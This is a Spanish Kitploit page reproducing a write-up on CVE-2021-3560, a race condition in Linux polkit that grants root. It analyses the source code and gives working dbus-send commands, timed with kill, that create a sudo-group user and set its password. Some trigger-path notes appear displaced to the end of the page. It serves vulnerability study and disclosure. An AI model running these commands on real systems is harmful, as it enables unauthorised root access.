Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2021-3560 — Análisis en profundidad de CVE-2021-3560, una vulnerabilidad de escalada de privilegios local en PolKit de Linux. Incluye análisis de la causa raíz, mecánica del exploit y una demostración de la condición de carrera que conduce al acceso root. | Kitploit
Herramientas/GitHubGitHub/chenaotian/cve-2021-3560
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónAnálisis de BinariosAprendizaje y Educación
GitHubchenaotian/cve-2021-3560

CVE-2021-3560

Análisis en profundidad de CVE-2021-3560, una vulnerabilidad de escalada de privilegios local en PolKit de Linux. Incluye análisis de la causa raíz, mecánica del exploit y una demostración de la condición de carrera que conduce al acceso root.

Ver Repositorio
932hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2021-3560 Análisis de escalada de privilegios local por condición de carrera en PolKit

[toc]

Resumen de la vulnerabilidad

Identificador de vulnerabilidad: CVE-2021-3560

Puntuación de vulnerabilidad:

Producto vulnerable: linux PolKit (polkitd)

Alcance afectado: introducido en el código fuente 0.113; https://www.venustech.com.cn/new_type/aqtg/20210611/22788.html

  • RHEL 8
  • Fedora 21 y versiones posteriores
  • Debian testing ("bullseye")
  • Ubuntu 20.04

Requisitos de explotación: local en Linux; presencia de dbus + polkitd

Impacto: escalada de privilegios local

Obtención del código fuente:

  • polkit-0.113: https://launchpad.net/debian/+source/policykit-1/0.113-5
  • accountsservice: apt source accountsservice
  • dbus: apt source dbus

Configuración del entorno

La imagen predeterminada de ubuntu-20.04.2 es suficiente para reproducir el problema: http://old-releases.ubuntu.com/releases/20.04.2/ubuntu-20.04.2-desktop-amd64.iso

Principio de la vulnerabilidad

Punto donde ocurre la vulnerabilidad

Primero veamos el código del problema

/polkit-0.113/src/polkit/polkitsystembusname.c : 388 : polkit_system_bus_name_get_creds_sync

root@kitploit:~
static void
on_retrieved_unix_uid_pid (GObject              *src,
			   GAsyncResult         *res,
			   gpointer              user_data)
{
  AsyncGetBusNameCredsData *data = user_data;
  GVariant *v;

  v = g_dbus_connection_call_finish ((GDBusConnection*)src, res,
				     data->caught_error ? NULL : data->error);
  if (!v)
    {
      data->caught_error = TRUE; //某些原因失败之后设置error位
    }
  else
  {
      ··· ···//执行成功的数据处理
  }
  ··· ···
}

static gboolean
polkit_system_bus_name_get_creds_sync (PolkitSystemBusName           *system_bus_name,
				       guint32                       *out_uid,
				       guint32                       *out_pid,
				       GCancellable                  *cancellable,
				       GError                       **error)
{
  gboolean ret = FALSE;
  AsyncGetBusNameCredsData data = { 0, }; //data 被初始化为0
  ··· ···
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixUser",      /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);
  g_dbus_connection_call (connection,
			  "org.freedesktop.DBus",       /* name */
			  "/org/freedesktop/DBus",      /* object path */
			  "org.freedesktop.DBus",       /* interface name */
			  "GetConnectionUnixProcessID", /* method */
			  g_variant_new ("(s)", system_bus_name->name),
			  G_VARIANT_TYPE ("(u)"),
			  G_DBUS_CALL_FLAGS_NONE,
			  -1,
			  cancellable,
			  on_retrieved_unix_uid_pid, //回调函数
			  &data);

  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?
 out:
  if (tmp_context)
    {
      g_main_context_pop_thread_default (tmp_context);
      g_main_context_unref (tmp_context);
    }
  if (connection != NULL)
    g_object_unref (connection);
  return ret;
}

En la función polkit_system_bus_name_get_creds_sync, dicha función autentica ciertas solicitudes (el escenario lógico específico se detallará más adelante). Primero se invocan los métodos GetConnectionUnixUser y GetConnectionUnixProcessID a través del bus org.freedesktop.DBus. Estos dos métodos son proporcionados por el bus org.freedesktop.DBus y obtienen el PID del proceso solicitante y el UID del usuario; luego se pasan a la función de callback on_retrieved_unix_uid_pid para procesar los datos devueltos. Después se bloquea esperando a que el proceso del bus complete su ejecución.

Se puede observar en la función on_retrieved_unix_uid_pid que, según el resultado devuelto por el bus, se establece si ocurrió un error (¿error?) y luego se activa el bit de error. Si la ejecución es exitosa, simplemente devuelve el UID del usuario o el PID del proceso. Pero en la función polkit_system_bus_name_get_creds_sync, después de bloquear esperando el resultado del bus (el criterio de finalización es que tanto el UID como el PID hayan sido procesados o que haya ocurrido una excepción). Es decir, lógicamente hay tres resultados posibles de vuelta del bus: se obtiene un UID de usuario 0 (usuario privilegiado); se obtiene un UID de usuario distinto de 0 (usuario normal); o una excepción. Pero en el procesamiento posterior no se maneja la excepción: out_uid, que se va a devolver a la capa superior, se establece directamente al data.uid devuelto por el bus, y luego ret se establece directamente en TRUE:

root@kitploit:~
  while (!((data.retrieved_uid && data.retrieved_pid) || data.caught_error))
    g_main_context_iteration (tmp_context, TRUE); //等待总线那边执行完毕,uid、pid都处理完毕或异常

  if (out_uid)
    *out_uid = data.uid;
  if (out_pid)
    *out_pid = data.pid;
  ret = TRUE; //无论如何都是 TRUE?

Pero se ignora un caso: cuando el bus DBUS falla, la función de callback establece el bit de excepción y regresa sin procesar los datos data. Como data se inicializa a 0, esto hace que posteriormente out_uid se establezca directamente a 0, es decir, un usuario privilegiado.

Entonces, ¿dónde se utiliza esta función problemática polkit_system_bus_name_get_creds_sync?

Ruta de activación

El proceso donde reside la vulnerabilidad es el proceso polkitd:

polkit es un conjunto de herramientas a nivel de aplicación que, mediante la definición y revisión de reglas de permisos, permite la comunicación entre procesos de diferentes prioridades: las decisiones de control se centralizan en un marco unificado que determina si un proceso de baja prioridad tiene derecho a acceder a un proceso de alta prioridad.

En resumen, es un proceso root que se ejecuta en segundo plano y, mediante comunicación entre procesos, toma decisiones de permisos cuando otros procesos de bajos privilegios acceden a funcionalidades ofrecidas por procesos de altos privilegios. Como este proceso se reinicia si se adjunta gdb, solo podemos analizarlo a nivel de código fuente para encontrar la ruta de activación de la función vulnerable:

polkitd se desarrolla utilizando ampliamente el framework de comunicación entre procesos gio DBUS. Puede consultar previamente el manual y prestar atención a algunas funciones clave.

A continuación, analizamos la ruta de activación de la vulnerabilidad en polkitd:

  1. Primero, el main:

    polkit-0.113\src\polkitbackend\polkitd.c : 155 : main

    root@kitploit:~
    int
    main (int    argc,
          char **argv)
    {
      ··· ···
      ··· ···
    
      loop = g_main_loop_new (NULL, FALSE);
    
      sigint_id = g_unix_signal_add (SIGINT,
                                     on_sigint,
                                     NULL);
    
      name_owner_id = g_bus_own_name (G_BUS_TYPE_SYSTEM,
                                      "org.freedesktop.PolicyKit1",  //注册了一个总线名称
                                      G_BUS_NAME_OWNER_FLAGS_ALLOW_REPLACEMENT |
                                        (opt_replace ? G_BUS_NAME_OWNER_FLAGS_REPLACE : 0),
                                      on_bus_acquired, //访问该总线时的回调函数
                                      on_name_acquired,
                                      on_name_lost,
                                      NULL,
                                      NULL);
    
      g_print ("Entering main event loop\n");
      g_main_loop_run (loop); //循环启动
      ··· ···
      ··· ···
    }
    
  2. Primero se registra un bus llamado org.freedesktop.PolicyKit1, y luego hay tres callbacks; el principal es on_bus_acquired, que se invoca cuando se accede al bus.

  3. En la función on_bus_acquired se llama directamente a una función de registro, polkit_backend_authority_register

Es decir, cuando otras funciones invocan el método CheckAuthorization en el bus org.freedesktop.PolicyKit1.Authority, bajo ciertas circunstancias (controlando a DBUS para que devuelva una excepción al obtener el UID solicitante) se puede afectar la corrección de la autenticación de dicho método. Como podemos ver directamente la solución, el método de explotación es, al usar account-daemon

Explotación de la vulnerabilidad

Análisis general

Primero, citemos esta imagen del autor del exploit:

image-20220131163536269

Expliquemos los elementos de la imagen:

  • Los tres procesos polkitd, dbus-daemon y account-daemon son procesos de servicio en segundo plano que se ejecutan con privilegios root.

  • dbus-daemon es un "router" para la comunicación entre procesos, es decir, el núcleo del framework de comunicación entre procesos GIO DBUS mencionado anteriormente. Mi entendimiento es que diferentes procesos pueden registrar nombres de bus aquí, y el proceso que desea comunicarse contigo accede al nombre del bus, la interfaz y el nombre del método para invocar las funciones de tu proceso. Algunas de las funciones del proceso polkitd presentadas anteriormente registran buses en dbus y esperan a que otros procesos las invoquen.

  • account-daemon es similar a polkitd: registra el bus org.freedesktop.Accounts en dbus y proporciona una serie de métodos relacionados con cuentas, como los que se usarán a continuación para añadir usuarios, establecer contraseñas, etc. Además, este proceso realiza una autenticación del usuario antes de operaciones como añadir un usuario; el método de autenticación utilizado es precisamente el método de bus vulnerable CheckAuthorization proporcionado por el proceso polkitd mencionado anteriormente.

Por lo tanto, el flujo general de eventos de la explotación aquí es:

  1. Usar el comando dbus-send para enviar un mensaje al proceso account-daemon y pedirle que cree un usuario administrador (el método CreateUser proporcionado por este proceso añade por defecto un usuario administrador), pero con nuestra identidad no podemos completar esta operación.

  2. Después de que el mensaje se envía al proceso account-daemon, este solicita al proceso polkitd la verificación de permisos para decidir si se aprueba la operación de añadir usuario.

  3. polkitd preguntará al bus por los permisos del usuario y el ID del proceso que inició la solicitud de creación de usuario.

    • Lo que necesitamos hacer es matar el proceso solicitante (es decir, el proceso dbus-send) en el intervalo entre el envío del mensaje, la recepción del mensaje por account-daemon, y la consulta de polkitd al bus sobre los permisos del proceso solicitante.
  4. En este momento, el bus detecta que el proceso que solicitó añadir el usuario ha desaparecido y devuelve una excepción.

  5. Según el análisis anterior, el punto de vulnerabilidad es que el proceso polkitd trata la excepción como un éxito por defecto y asume que el uid del usuario es 0, es decir, un usuario privilegiado. Se dispara la vulnerabilidad y se permite la operación.

Análisis del comportamiento de comunicación de account-daemon

Dado que dbus-daemon es solo un proceso intermediario, no lo analizaremos en detalle, pero aquí analizamos account-daemon, que es un proceso clave en la explotación. Este proceso también utiliza el framework GIO DBUS. Analicemos brevemente algunos puntos importantes; primero veamos

accountsservice-0.6.45\src\daemon.c : 90

root@kitploit:~
static void daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface);

G_DEFINE_TYPE_WITH_CODE (Daemon, daemon, ACCOUNTS_TYPE_ACCOUNTS_SKELETON, G_IMPLEMENT_INTERFACE (ACCOUNTS_TYPE_ACCOUNTS, daemon_accounts_accounts_iface_init));
··· ···
static void
daemon_accounts_accounts_iface_init (AccountsAccountsIface *iface)
{
        iface->handle_create_user = daemon_create_user;
        iface->handle_delete_user = daemon_delete_user;
        ··· ···
}

Aquí se utilizan las macros G_DEFINE_TYPE_WITH_CODE y G_IMPLEMENT_INTERFACE para ejecutar la función daemon_accounts_accounts_iface_init. En resumen, estas dos macros encuentran la oportunidad de ejecutar daemon_accounts_accounts_iface_init. En esta función se registra el método create_user. Veamos directamente la implementación de daemon_create_user:

accountsservice-0.6.45\src\daemon.c : 1099

root@kitploit:~
static gboolean
daemon_create_user (AccountsAccounts      *accounts,
                    GDBusMethodInvocation *context,
                    const gchar           *user_name,
                    const gchar           *real_name,
                    gint                   account_type)
{
        ··· ···
        data = g_new0 (CreateUserData, 1);
        data->user_name = g_strdup (user_name);
        data->real_name = g_strdup (real_name);
        data->account_type = account_type;

        daemon_local_check_auth (daemon,
                                 NULL,
                                 "org.freedesktop.accounts.user-administration",
                                 TRUE,
                                 daemon_create_user_authorized_cb, //回调函数
                                 context,
                                 data,
                                 (GDestroyNotify)create_data_free);

        return TRUE;
}

En daemon_create_user se llama a daemon_local_check_auth para verificar si los permisos del usuario solicitante están permitidos. Después de una llamada exitosa, se invoca al callback daemon_create_user_authorized_cb. Veamos primero la función de autenticación daemon_local_check_auth:

accountsservice-0.6.45\src\daemon.c : 1388 : daemon_local_check_auth

root@kitploit:~
void
daemon_local_check_auth (Daemon                *daemon,
                         User                  *user,
                         const gchar           *action_id,
                         gboolean               allow_interaction,
                         AuthorizedCallback     authorized_cb,
                         GDBusMethodInvocation *context,
                         gpointer               authorized_cb_data,
                         GDestroyNotify         destroy_notify)
{
        ··· ···
        polkit_authority_check_authorization (daemon->priv->authority,
                                              subject,
                                              action_id,
                                              NULL,
                                              flags,
                                              NULL,
                                              (GAsyncReadyCallback) check_auth_cb,
                                              data);
        ··· ···
}

Aquí se llama a la función polkit_authority_check_authorization para autenticar. polkit_authority_check_authorization es una función de biblioteca proporcionada por libpolkit-gobject-1.so.0, que simplemente invoca el método CheckAuthorization en el bus org.freedesktop.PolicyKit1.Authority del proceso polkitd analizado anteriormente. Si la autenticación es exitosa, se llama al callback daemon_create_user_authorized_cb:

accountsservice-0.6.45\src\daemon.c : 1051 : daemon_create_user_authorized_cb

root@kitploit:~
static void
daemon_create_user_authorized_cb (Daemon                *daemon,
                                  User                  *dummy,
                                  GDBusMethodInvocation *context,
                                  gpointer               data)

{
        ··· ···

        argv[0] = "/usr/sbin/adduser";
        argv[1] = "--quiet";
        argv[2] = "--disabled-login";
        argv[3] = "--gecos";
        argv[4] = cd->real_name;
        argv[5] = cd->user_name;
        argv[6] = NULL;

        error = NULL;
        if (!spawn_with_login_uid (context, argv, &error)) { //添加用户
                throw_error (context, ERROR_FAILED, "running '%s' failed: %s", argv[0], error->message);
                g_error_free (error);
                return;
        }

        if (cd->account_type == ACCOUNT_TYPE_ADMINISTRATOR) {
                add_user_to_group (context, cd->user_name, "sudo"); //将用户添加到sudo 组
        }

        ··· ···
}

Aquí ya es bastante evidente: después de añadir al usuario con éxito, este se agrega directamente al grupo sudo. Por lo tanto, al final del exploit, después de añadir el usuario, se puede cambiar a root con sudo su root.

A continuación veamos una demostración manual de la explotación.

demo

Como usuario normal, envíe directamente una solicitud de creación de usuario a account-daemon usando el comando dbus-send:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

Esta solicitud mostrará una ventana para introducir la contraseña en sistemas operativos con interfaz gráfica:

image-20220131153323446

En terminales de línea de comandos como ssh, fallará directamente:

image-20220131153521697

Siguiendo la idea de explotación anterior, primero veamos el tiempo de ejecución de este comando:

root@kitploit:~
time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1

image-20220131153802829

Luego, elija un momento aproximadamente a la mitad de la ejecución del comando para matarlo; así hay probabilidad de disparar la vulnerabilidad y crear el usuario con éxito:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:pwnpolkit string:"pwnpolkit" int32:1 & sleep 0.04s ; kill $!

Ejecutándolo varias veces, se puede lograr:

image-20220131154220337

Y además estará en el grupo sudo:

image-20220131154304858

Luego, con el mismo método, solo hay que añadirle una contraseña:

root@kitploit:~
dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User1002 org.freedesktop.Accounts.User.SetPassword string:'$5$jgqh/7aYiUhpISRA$awGxCtnbYKoAtNVtzUvd6jxw/.1VApN5CvUYyLXUMj0' string:Whatever & sleep 0.04s ; kill $!

User1002 debe ajustarse según el UID del usuario recién creado, y la contraseña usa un valor hash. Luego cambie al usuario

exp

No he escrito el exploit en detalle aquí; en realidad basta con automatizar los comandos anteriores. El exploit en C de GitHub también funciona correctamente.

hakivvi/CVE-2021-3560

Medidas de mitigación

Actualizar a la última versión

Referencias

Divulgación de la vulnerabilidad (github): https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/

hakivvi/exp(github): https://github.com/hakivvi/CVE-2021-3560

m0_56642842(CSDN): https://blog.csdn.net/m0_56642842/article/details/118807718?spm=1001.2014.3001.5502

Descargar herramienta
  • En la función polkit_backend_authority_register, se registra un objeto de interfaz org.freedesktop.PolicyKit1.Authority y se pasa una tabla de callbacks server_vtable. El punto de activación de la vulnerabilidad está en uno de los callbacks de esta tabla:

    policykit-1_0.113.orig\polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 1333 : server_vtable

    root@kitploit:~
    static const GDBusInterfaceVTable server_vtable =
    {
      server_handle_method_call, //回调函数
      server_handle_get_property,
      NULL, /* server_handle_set_property */
    };
    static void
    server_handle_method_call (GDBusConnection        *connection,
                               const gchar            *sender,
                               const gchar            *object_path,
                               const gchar            *interface_name,
                               const gchar            *method_name,
                               GVariant               *parameters,
                               GDBusMethodInvocation  *invocation,
                               gpointer                user_data)
    {
      Server *server = user_data;
      PolkitSubject *caller;
    
      caller = polkit_system_bus_name_new (g_dbus_method_invocation_get_sender (invocation));
    
      if (g_strcmp0 (method_name, "EnumerateActions") == 0)
        server_handle_enumerate_actions (server, parameters, caller, invocation);
      else if (g_strcmp0 (method_name, "CheckAuthorization") == 0)
        server_handle_check_authorization (server, parameters, caller, invocation); //漏洞函数路径在这里
      ··· ···
      ··· ···
    }
    

    Cuando otros procesos invocan el método CheckAuthorization a través del bus, se llama a la función server_handle_check_authorization.

  • En la función server_handle_check_authorization, se llama a polkit_backend_authority_check_authorization

  • En la función polkit_backend_authority_check_authorization, mediante un callback se invoca klass->check_authorization, cuya función registrada es polkit_backend_interactive_authority_check_authorization:

    polkit-0.113\src\polkitbackend\polkitbackendauthority.c : 195 : polkit_backend_authority_check_authorization

    root@kitploit:~
    void
    polkit_backend_authority_check_authorization (PolkitBackendAuthority        *authority,
                                                  PolkitSubject                 *caller,
                                                  PolkitSubject                 *subject,
                                                  const gchar                   *action_id,
                                                  PolkitDetails                 *details,
                                                  PolkitCheckAuthorizationFlags  flags,
                                                  GCancellable                  *cancellable,
                                                  GAsyncReadyCallback            callback,
                                                  gpointer                       user_data)
    {
      ··· ···
      if (klass->check_authorization == NULL)
        {
          ··· ···
        }
      else
        {
          klass->check_authorization (authority, caller, subject, action_id, details, flags, cancellable, callback, user_data); // 注册的是polkit_backend_interactive_authority_check_authorization
        }
    }
    authority_class->check_authorization             = /
    polkit_backend_interactive_authority_check_authorization; //在别处初始化的
    
  • Ahora, siguiendo el orden, se llega a: check_authorization_sync

  • polkit_backend_session_monitor_get_user_for_subject

  • Función vulnerable: polkit_system_bus_name_get_user_sync

  • dbus-send es un comando. El bus dbus proporciona algunas interfaces de programación para la comunicación entre procesos, y también ofrece comandos de línea de comandos que pueden enviar mensajes directamente a un proceso determinado para invocar sus métodos.

  • Aunque el proceso dbus-send fue eliminado, lo que causa que la detección del bus informe una excepción, account-daemon no se ve afectado: una vez que account-daemon recibe el mensaje, ya no se preocupa por si el proceso solicitante sigue existiendo.

  • Después de que account-daemon recibe la respuesta de polkitd que permite añadir al usuario, crea el usuario y se completa la explotación.